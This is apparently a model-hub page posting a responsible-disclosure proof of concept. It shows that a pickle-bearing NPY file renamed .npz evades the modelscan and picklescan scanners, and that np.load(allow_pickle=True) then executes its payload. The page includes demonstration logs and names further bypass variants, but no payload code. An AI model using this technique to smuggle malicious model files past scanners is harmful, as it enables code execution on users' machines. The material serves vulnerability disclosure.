NPY/NPZ Scanner Bypass PoC

Security Research - Responsible Disclosure via huntr

Vulnerability

NPY file with .npz extension bypasses both modelscan v0.8.8 and picklescan v1.0.3. Scanners check file extension to determine format; np.load() checks magic bytes.

Results

Scanner Result
modelscan BYPASSED - "No issues found"
picklescan BYPASSED - crashes on NPY header
np.load(allow_pickle=True) RCE - payload executes

Reproduction

Requirement already satisfied: numpy in /Users/rez0/miniforge3/lib/python3.10/site-packages (2.2.6) Requirement already satisfied: modelscan in /Users/rez0/miniforge3/lib/python3.10/site-packages (0.8.8) Requirement already satisfied: picklescan in /Users/rez0/miniforge3/lib/python3.10/site-packages (1.0.3) Requirement already satisfied: click<9.0.0,>=8.1.3 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from modelscan) (8.2.1) Requirement already satisfied: rich<15.0.0,>=13.4.2 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from modelscan) (14.2.0) Requirement already satisfied: tomlkit<0.14.0,>=0.12.3 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from modelscan) (0.13.3) Requirement already satisfied: markdown-it-py>=2.2.0 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from rich<15.0.0,>=13.4.2->modelscan) (3.0.0) Requirement already satisfied: pygments<3.0.0,>=2.13.0 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from rich<15.0.0,>=13.4.2->modelscan) (2.17.2) Requirement already satisfied: mdurl~=0.1 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from markdown-it-py>=2.2.0->rich<15.0.0,>=13.4.2->modelscan) (0.1.2) [SUCCESS] Arbitrary code execution achieved via numpy model file Marker file created: /tmp/numpy_rce_proof

====================================================================== NPY/NPZ Model File Scanner Bypass - PoC Demonstration

[*] Checking prerequisites... NumPy version: 2.2.6 modelscan: installed picklescan: installed

====================================================================== Step 1: Examine the malicious file

File: /Users/rez0/targets/model-format-differentials/npz-poc/poc/final/poc1_npy_as_npz.npz
Size: 455 bytes
Magic bytes: b'“NUMPY'
Is NPY format: True
Has .npz extension: True

Key insight: The file IS an NPY (numpy binary array) but has
a .npz extension. Scanners check extension; np.load checks magic bytes.

====================================================================== Step 2: Run security scanners

[*] Running modelscan... Exit code: 3 Result: 'No issues found' Malware detected: NO -- BYPASSED

[*] Running picklescan... Exit code: 2 Result: CRASHED - Malware detected: NO -- BYPASSED

====================================================================== Step 3: Load the file with np.load() (triggers code execution)

[] Executing: np.load('poc1_npy_as_npz.npz', allow_pickle=True) [] Payload output below:


[] Array loaded: dtype=object, shape=(1,) [] Arbitrary code execution confirmed.

====================================================================== Summary

The file poc1_npy_as_npz.npz:

  • Has .npz extension (looks like a numpy archive)
  • Is actually an NPY file with object dtype (contains pickle payload)
  • modelscan: BYPASSED (skips the file, reports 'No issues found')
  • picklescan: BYPASSED (crashes trying to parse as pickle)
  • np.load(): Detects NPY format by magic bytes, loads and executes payload

This demonstrates a parser differential between security scanners (which rely on file extension) and np.load() (which uses magic bytes).

Additional PoCs in this directory: poc2_*.npz - Extension bypass inside NPZ archive (modelscan only) poc3_*.npz - Nested NPZ bypass (both scanners) poc4_*.npz - Combined extension + crash bypass (both scanners)

Note: Requires allow_pickle=True (not default since NumPy 1.16.3)

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support